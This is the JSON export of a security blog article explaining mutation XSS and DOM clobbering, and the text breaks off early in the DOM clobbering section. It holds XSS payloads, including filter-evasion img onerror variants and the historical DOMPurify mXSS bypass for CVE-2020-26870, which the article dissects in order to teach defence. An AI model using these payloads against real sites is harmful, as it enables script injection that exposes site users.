{"id":3972,"date":"2026-09-07T21:17:44","date_gmt":"2026-09-07T21:17:44","guid":{"rendered":"https:\/\/hackagora.com\/?p=3972"},"modified":"2026-09-17T09:27:11","modified_gmt":"2026-09-17T09:27:11","slug":"mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices","status":"publish","type":"post","link":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/","title":{"rendered":"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices"},"content":{"rendered":"\n<figure class=\"wp-block-image alignright size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/09\/mxss-dom-clobbering.svg\" alt=\"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices\" class=\"wp-image-3973\" style=\"aspect-ratio:1.3429440973890758;width:325px;height:auto\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Allowing users to insert HTML content is a common feature in web applications. WYSIWYG editors, commenting systems, messaging services, CMSs and collaborative tools often need to allow the use of rich text whilst preventing the execution of arbitrary JavaScript code.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To secure these features, applications generally rely on HTML sanitisers, which are responsible for removing tags and attributes that could lead to <a href=\"https:\/\/hackagora.com\/en\/xss-cross-site-scripting-vulnerabilities-types-of-attacks-exploitations-and-security-best-practices\/\" target=\"_blank\" rel=\"noopener\">Cross-Site Scripting (XSS)<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, filtering HTML is more complex than it appears. This is because the HTML code sent to a browser is not directly converted into an immutable representation. The HTML parser interprets the document, corrects certain invalid structures, manages different namespaces and may produce a DOM tree that differs from the original markup.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In some situations, data considered safe at the time of sanitisation may therefore be interpreted differently during subsequent parsing. This is notably the principle exploited by Mutation XSS, or mXSS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The DOM also has another historical particularity: some elements with id or name attributes can become accessible as properties of JavaScript objects such as window, document or certain &lt;form&gt; elements. This mechanism can be exploited to indirectly alter the behaviour of a script: this is known as DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this article, we explain in detail how the DOM and the HTML parser work, to help us understand mXSS and DOM clobbering. We also analyse several historical bypasses of DOMPurify and explore how to identify and prevent these vulnerabilities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Comprehensive Guide to mXSS and DOM Clobbering<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#what-is-the-dom\">What is the DOM?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#html-svg-and-mathml-understanding-dom-namespaces\">HTML, SVG and MathML: Understanding DOM Namespaces<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#why-does-the-browser-modify-the-html\">Why Does the Browser Modify the HTML?<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#how-does-the-html-tokeniser-work\">How does the HTML tokeniser work?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#the-tokeniser-isnt-enough-the-tree-builder-then-constructs-the-dom\">The tokeniser isn\u2019t enough: the Tree Builder then constructs the DOM<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#html-sanitiser-what-is-really-filtered\">HTML Sanitiser: What is Really Filtered<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#innerhtml-and-roundtrip-parsing\">innerHTML and Roundtrip Parsing<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#what-is-an-xss-mutation-or-mxss\">What is Mutation XSS (mXSS)?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#historical-example-mutation-xss-and-dompurify-prior-to-version-2-0-17\">Historical Example: Mutation XSS and DOMPurify Prior to Version 2.0.17<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#initial-parsing-the-payload-appears-harmless\">Initial parsing: the payload appears harmless<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#serialisation-of-the-dom\">Serialisation of the DOM<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#second-parsing-namespace-change\">Second parsing: namespace change<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#why-this-example-remains-important-today\">Why this example remains important today<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#dom-clobbering-hijacking-javascript-via-html-injection\">DOM Clobbering: Hijacking JavaScript via HTML Injection<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#dom-named-access\">DOM Named Access<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#dom-clobbering-example\">DOM Clobbering example<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#exploiting-anchor-collections\">Exploiting Anchor Collections<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#clobbering-form-properties\">Clobbering form properties<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#dom-clobbering-et-csp\">DOM Clobbering and CSP<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#second-order-dom-clobbering\">Second-order DOM Clobbering<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#real-world-case-bypassing-dompurify-3-1-1-and-3-1-2\">Real-World Case: Bypassing DOMPurify 3.1.1 and 3.1.2<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#dompurify-3-1-1-bypassing-a-depth-check-via-dom-clobbering\">DOMPurify 3.1.1: Bypassing a depth check via DOM clobbering<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#dompurify-3-1-2-second-order-dom-clobbering\">DOMPurify 3.1.2 : Second-order DOM Clobbering<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#how-to-look-for-mxss-and-dom-clobbering-during-a-penetration-test\">How to Look for mXSS and DOM Clobbering During a Penetration Test?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#how-to-protect-yourself-against-mutation-xss-and-dom-clobbering\">How to Protect Yourself Against Mutation XSS and DOM Clobbering?<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#do-not-parse-html-when-it-is-not-necessary\">Do not parse HTML when it is not necessary<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#use-a-recognised-sanitiser-when-html-actually-needs-to-be-accepted\">Use a recognised sanitiser when HTML actually needs to be accepted<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#always-keep-the-sanitiser-and-its-surroundings-clean\">Always keep the sanitiser and its surroundings clean<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#sanitiser-as-close-as-possible-to-the-final-sink\">Sanitise as close as possible to the final sink<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#never-modify-the-html-after-sanitisation\">Never modify the HTML after sanitisation<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#minimise-the-number-of-permitted-elements-and-attributes-as-much-as-possible\">Minimise the number of permitted elements and attributes as much as possible<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#strengthen-protection-against-dom-clobbering\">Strengthen protection against DOM Clobbering<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#do-not-rely-on-the-properties-of-a-dom-instance-within-a-security-component\">Do not rely on the properties of a DOM instance within a security component<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#use-trusted-types-to-validate-html-sinks\">Use Trusted Types to validate HTML sinks<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#use-csp-as-a-defence-in-depth\">Use CSP as a defence in depth<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#conclusion\">Conclusion<\/a><\/li><\/ul><\/div>\n\n\n<h2 id=\"what-is-the-dom\" class=\"wp-block-heading\">What is the DOM?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Document Object Model, or DOM, is the in-memory representation of a document processed by the browser.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When a browser receives an HTML page, it does not therefore work directly on the text contained in the source file. It analyses this text and gradually builds a tree of nodes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s take the following snippet as an example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;div class=\"profile\"&gt;\n    This is my profile pic:\n    &lt;img src=\"myimage\" alt=\"Profile picture\"&gt;\n&lt;\/div&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In particular, the browser will create an object corresponding to the <code>&lt;div&gt;<\/code> element, a text node, and then an <code>HTMLImageElement<\/code> object corresponding to the <code>&lt;img&gt;<\/code> tag.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These objects have various properties and methods that allow JavaScript to dynamically access or modify the document:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const image = document.querySelector('img');\n\nconsole.log(image.src);\nimage.alt = 'New description';\nimage.remove();<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The key point, therefore, is to distinguish between two things: the HTML code received by the browser and the DOM tree actually constructed from that code.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These two representations are not necessarily identical. It is precisely this difference that becomes important for understanding Mutation XSS (mXSS).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTML attributes can also alter the browser\u2019s behaviour. Indeed, DOM elements expose numerous properties that derive directly from their HTML attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, a <code>&lt;img&gt;<\/code> tag has a <code>src<\/code> attribute specifying the resource to be loaded:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\"\/avatar.png\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It may also have properties corresponding to event handlers:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\"invalid\" onerror=\"alert(1)\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In this second example, if the image fails to load, the browser interprets the value of `<code>onerror<\/code>` as JavaScript.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is why event handlers such as `<code>onclick<\/code>`, `<code>onload<\/code>`, `<code>onerror<\/code>` or `<code>onmouseover<\/code>` are common vectors for XSS exploitation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A sanitiser must therefore be able to analyse not only the tags present, but also their attributes, their values and the context in which they will be interpreted.<\/p>\n\n\n\n<h2 id=\"html-svg-and-mathml-understanding-dom-namespaces\" class=\"wp-block-heading\">HTML, SVG and MathML: Understanding DOM Namespaces<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Another important feature of DOM is that an HTML document can contain elements from several markup languages.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The three namespaces of particular interest in the context of mXSS are: HTML, SVG and MathML.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;div&gt;HTML namespace&lt;\/div&gt;\n\n&lt;svg&gt;\n    &lt;circle cx=\"20\" cy=\"20\" r=\"10\"&gt;&lt;\/circle&gt;\n&lt;\/svg&gt;\n\n&lt;math&gt;\n    &lt;mi&gt;x&lt;\/mi&gt;\n&lt;\/math&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">These elements may coexist within the same document, but they do not always follow the same parsing rules.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When a document is interpreted as <code>text\/html<\/code>, SVG and MathML are not simply passed to a separate XML parser. The HTML parser has specific rules for handling foreign content, which allow it to switch between the HTML, SVG and MathML namespaces. In particular, the specification defines HTML integration points and MathML text integration points, which determine how certain tokens should be processed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This distinction is important.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DOMParser is not \u2018the parser used by browsers\u2019. It is a JavaScript API designed explicitly to parse a string of characters. When used with the MIME type `<code>text\/html<\/code>`, it triggers the HTML parser; with `<code>application\/xml<\/code>` or `<code>image\/svg+xml<\/code>`, it uses the XML rules.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In a standard HTML document, the browser directly uses the parsing algorithms defined by the HTML specification.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s take a deliberately incorrect example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;svg&gt;\n    &lt;p&gt;Hello&lt;\/p&gt;\n&lt;\/svg&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>&lt;p&gt;<\/code> tag is not expected at this position within SVG content rendered within an HTML document.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The HTML parser has recovery rules that allow it to exit the SVG context and reconstruct a coherent structure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The resulting DOM may therefore be equivalent to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;svg&gt;&lt;\/svg&gt;\n&lt;p&gt;Hello&lt;\/p&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The browser has altered the structure of the document.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This ability to automatically repair markup is one of the fundamental mechanisms behind Mutation XSS attacks.<\/p>\n\n\n\n<h2 id=\"why-does-the-browser-modify-the-html\" class=\"wp-block-heading\">Why Does the Browser Modify the HTML?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The HTML parser is designed to be extremely tolerant.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the web, a considerable number of pages contain incomplete, incorrect or ambiguous HTML. Browsers cannot, therefore, simply stop rendering as soon as a syntax error occurs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Instead, the HTML specification defines numerous recovery rules that enable the creation of a usable DOM even from a malformed document.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Two mechanisms in particular play an important role: the tokeniser and the tree-building algorithm.<\/p>\n\n\n\n<h3 id=\"how-does-the-html-tokeniser-work\" class=\"wp-block-heading\">How does the HTML tokeniser work?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The tokeniser progressively converts a string of characters into tokens representing, amongst other things:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>StartTag\nEndTag\nCharacter\nComment\nDOCTYPE<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It works like a state machine.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Depending on the characters it encounters, it can go through states such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Data\nTag open\nTag name\nBefore attribute name\nAttribute name\nAttribute value\nSelf-closing start tag<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s take the following payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img\/src=\"x\"\/onerror=alert(1)&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">At first glance, the tag appears to be incorrectly formatted. However, a browser may interpret it as the equivalent of:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\"x\" onerror=\"alert(1)\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Put simply, the tokeniser begins by recognising \u2018<code>img<\/code>\u2019 as a tag name. When it encounters \u2018<code>\/<\/code>\u2019, it attempts to treat the tag as self-closing. However, the following character does not match what is expected in this state.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rather than abandoning the parsing process, the algorithm flags a parsing error and re-consumes the characters in a state that allows it to recognise a new attribute.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2018<code>src<\/code>\u2019 and \u2018<code>onerror<\/code>\u2019 thus become valid attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The absence of spaces therefore does not necessarily prevent the payload from being interpreted:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img\/src=x\/onerror=alert(1)&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In particular, this behaviour can lead to the circumvention of homemade filters or security measures based on overly simple regular expressions.<\/p>\n\n\n\n<h3 id=\"the-tokeniser-isnt-enough-the-tree-builder-then-constructs-the-dom\" class=\"wp-block-heading\">The tokeniser isn\u2019t enough: the Tree Builder then constructs the DOM<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once the tokens have been generated, the browser must determine where to place them in the DOM tree. This is the role of the tree-building algorithm.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In particular, this algorithm maintains a \u2018stack of open elements\u2019, as well as various insertion modes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is here that many structural corrections take place.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us consider:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;a&gt;First link&lt;a&gt;Second link<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>&lt;a&gt;<\/code> tags cannot simply be nested in this way. The parser therefore corrects the structure and typically produces two adjacent elements:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;a&gt;First link&lt;\/a&gt;\n&lt;a&gt;Second link&lt;\/a&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Similar behaviour can be observed with nested forms, some table elements, or transitions between HTML, SVG and MathML.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">User-controlled input may therefore undergo several transformations before it is rendered in the final DOM.<\/p>\n\n\n\n<h2 id=\"html-sanitiser-what-is-really-filtered\" class=\"wp-block-heading\">HTML Sanitiser: What is Really Filtered<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When an application needs to allow rich text, it cannot generally encode all HTML characters, as this would prevent the use of tags such as <code>&lt;strong&gt;<\/code>, <code>&lt;em&gt;<\/code>, <code>&lt;a&gt;<\/code> or <code>&lt;p&gt;<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It must therefore distinguish between permitted HTML and dangerous HTML.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is the role of a sanitiser.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The exact mechanism depends on the library used. In the case of a DOM-based sanitiser such as DOMPurify, an HTML string is parsed within an isolated DOM; the nodes and attributes are then traversed and checked before the sanitised result is returned. DOMPurify thus uses the parser provided by the DOM environment in which it runs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const dirty = `\n    &lt;p&gt;Hello&lt;\/p&gt;\n    &lt;img src=\"x\" onerror=\"alert(1)\"&gt;\n`;\n\nconst clean = DOMPurify.sanitize(dirty);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The expected result will be close to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;p&gt;Hello&lt;\/p&gt;\n&lt;img src=\"x\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The `<code>onerror<\/code>` attribute has been removed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This approach is considerably more robust than a filter based solely on string searches or regular expressions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, a subtlety arises when the DOM controlled by the sanitiser is subsequently serialised and then parsed again.<\/p>\n\n\n\n<h2 id=\"innerhtml-and-roundtrip-parsing\" class=\"wp-block-heading\">innerHTML and Roundtrip Parsing<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><code>innerHTML<\/code> is used to define the HTML content of an element:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>container.innerHTML = html;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">When a string is assigned to it, the browser does not insert it as plain text.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It parses it as an HTML fragment, constructs the corresponding DOM nodes and then replaces the children of the target element.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For this reason, `<code>innerHTML<\/code>` is considered an injection sink: data controlled by an attacker and passed directly to this property can lead to an XSS attack.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With a sanitiser, user input is first parsed and converted into a DOM so that it can be inspected and sanitised. The result is then serialised into HTML and, if assigned to `<code>innerHTML<\/code>`, is parsed once more by the browser to produce the final DOM.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are therefore potentially two instances of parsing the same content.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, a fundamental property of HTML comes into play here: serialising a DOM tree and then re-parsing the resulting string does not necessarily guarantee that exactly the same DOM tree will be obtained.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is this difference between the two representations that provides the ideal breeding ground for Mutation XSS attacks. DOMPurify\u2019s security history specifically lists the discrepancies between the tree inspected by the sanitiser and the tree ultimately constructed at the sink as one of the main classes of bypass.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DOMParser may present the same type of risk. The API:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>new DOMParser().parseFromString(html, 'text\/html');<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">creates a DOM document separate from the main document.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This document is essentially inert: scripts present in the markup are not executed and event handlers are not triggered during parsing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, this does not mean that the content is safe.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If the nodes produced in this way are subsequently transferred to the active document, certain dangerous behaviours may become active again. This API must therefore also be handled with care when the input comes from an untrusted source.<\/p>\n\n\n\n<h2 id=\"what-is-an-xss-mutation-or-mxss\" class=\"wp-block-heading\">What is Mutation XSS (mXSS)?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A Mutation XSS (mXSS) is an XSS attack that relies on a transformation of the markup or the DOM between the moment it is deemed safe and the moment it is finally interpreted by the browser.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In a typical mXSS scenario, the payload is first parsed into a form that appears harmless to the sanitiser. However, following sanitisation, serialisation, transformation or further parsing may alter this structure and reveal a dangerous construct capable of triggering an XSS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The distinctive feature of mXSS is therefore that the malicious code is not necessarily represented as executable code at the time the sanitiser analyses it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, part of the payload may be treated as <code>simple text<\/code> during the initial parsing, then become <code>&lt;img src=\"x\" onerror=\"alert(1)\"&gt;<\/code> following a DOM mutation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The sanitiser has therefore never actually \u2018seen\u2019 the onerror attribute in the form in which the browser will execute it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Furthermore, an mXSS is not simply a way of bypassing a blacklist. With a filter, an attacker may attempt to disguise a known string such as <code>&lt;scr&lt;script&gt;ipt&gt;<\/code> or exploit differences in case sensitivity, encoding or syntax.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An mXSS exploit takes advantage of something even more fundamental: the parsing model itself.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Payloads can, in particular, exploit differences in namespaces, rules relating to forms or tables, raw text elements, comments, mutations caused by serialisation, or DOM depth limits.<\/p>\n\n\n\n<h2 id=\"historical-example-mutation-xss-and-dompurify-prior-to-version-2-0-17\" class=\"wp-block-heading\">Historical Example: Mutation XSS and DOMPurify Prior to Version 2.0.17<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">An excellent example of mXSS was published in 2020 by Micha\u0142 Bentkowski. The payload was as follows:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form&gt;&lt;math&gt;&lt;mtext&gt;&lt;\/form&gt;&lt;form&gt;&lt;mglyph&gt;&lt;style&gt;&lt;\/math&gt;&lt;img src onerror=alert(1)&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This vulnerability corresponds to <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2020-26870\" target=\"_blank\" rel=\"noopener\">CVE-2020-26870<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One point needs to be clarified here with regard to certain historical accounts: the vulnerability affected versions of DOMPurify prior to 2.0.17. Version 2.0.17 introduced the fix.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The value of this payload lies in the fact that it combines two distinct features of the parser: incorrectly nested forms and transitions between the HTML and MathML namespaces.<\/p>\n\n\n\n<h3 id=\"initial-parsing-the-payload-appears-harmless\" class=\"wp-block-heading\">Initial parsing: the payload appears harmless<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The first part is:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form&gt;\n    &lt;math&gt;\n        &lt;mtext&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>mtext<\/code> is a MathML text integration point.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Under certain conditions, the elements it contains may therefore be processed according to HTML rules.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Next comes:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;\/form&gt;&lt;form&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Due to the specific handling of the form element pointer, the initial parsing may produce a structure containing a form configuration that cannot be reconstructed in exactly the same way during the subsequent parsing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Next come:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;mglyph&gt;\n&lt;style&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">During this initial parsing, the intermediate <code>&lt;form&gt;<\/code> tag means that `<code>mglyph<\/code>` is not directly interpreted as a MathML child of `<code>mtext<\/code>`. It therefore ends up in the HTML namespace.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Consequently, <code>&lt;style&gt;<\/code> is also interpreted as an HTML element. However, in the HTML namespace, the content of <code>&lt;style&gt;<\/code> is treated as text.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The sequence <code>&lt;\/math&gt;&lt;img src onerror=alert(1)&gt;<\/code> is therefore not represented as a <code>&lt;img&gt;<\/code> tag with an event handler. To the sanitiser, it is simply the text content of a <code>&lt;style&gt;<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The inspected structure therefore does not contain any dangerous <code>onerror<\/code> attributes that need to be removed.<\/p>\n\n\n\n<h3 id=\"serialisation-of-the-dom\" class=\"wp-block-heading\">Serialisation of the DOM<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">After sanitisation, DOMPurify might produce a string similar to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form&gt;\n    &lt;math&gt;\n        &lt;mtext&gt;\n            &lt;form&gt;\n                &lt;mglyph&gt;\n                    &lt;style&gt;\n                        &lt;\/math&gt;&lt;img src onerror=alert(1)&gt;\n                    &lt;\/style&gt;\n                &lt;\/mglyph&gt;\n            &lt;\/form&gt;\n        &lt;\/mtext&gt;\n    &lt;\/math&gt;\n&lt;\/form&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This string now contains two nested forms. However, this structure is not stable during subsequent parsing.<\/p>\n\n\n\n<h3 id=\"second-parsing-namespace-change\" class=\"wp-block-heading\">Second parsing: namespace change<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">When this string is subsequently assigned to `<code>innerHTML<\/code>`, the parser encounters the second `<code>&lt;form&gt;<\/code>` whilst a form is already active.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The second `&lt;form&gt;` element is then no longer created in the same way. Consequently, `<code>&lt;mglyph&gt;<\/code>` is now directly linked to the MathML context of `<code>&lt;mtext&gt;<\/code>`. Thus, its namespace changes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">During the first parsing, <code>&lt;mglyph&gt;<\/code> is interpreted within the HTML namespace. During the second parse, however, it is found within the MathML namespace. This change in context directly alters the way the browser interprets the elements that follow.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>&lt;style&gt;<\/code> placed below is therefore no longer an HTML style element functioning as a plain text area.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The sequence <code>&lt;\/math&gt;&lt;img src onerror=alert(1)&gt;<\/code> is then reinterpreted as markup. <code>&lt;\/math&gt;<\/code> exits the MathML context, after which the browser constructs a genuine HTML element:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\"\" onerror=\"alert(1)\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The event handler can then be executed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The sanitiser had analysed a safe structure, whilst the browser executes a different one. This is a Mutation XSS caused by namespace confusion.<\/p>\n\n\n\n<h3 id=\"why-this-example-remains-important-today\" class=\"wp-block-heading\">Why this example remains important today<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Browsers and sanitisers have evolved significantly since 2020.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Indeed, several historical mXSS techniques can no longer be reproduced exactly on modern browsers, particularly due to changes in the serialisation of HTML attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Payloads of this type must therefore always be tested with the exact versions of the targeted browser and sanitiser. Recent research shows, however, that these parsing mechanisms remain an active area of research.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The purpose of this example is therefore not to provide a universal payload, but to demonstrate a fundamental property: the representation controlled by the sanitiser and that used by the final sink may differ.<\/p>\n\n\n\n<h2 id=\"dom-clobbering-hijacking-javascript-via-html-injection\" class=\"wp-block-heading\">DOM Clobbering: Hijacking JavaScript via HTML Injection<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">mXSS are not the only way to exploit the DOM\u2019s characteristics.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s imagine that an application is vulnerable to HTML injection, but that a correctly configured sanitiser prevents the addition of <code>&lt;script><\/code> or 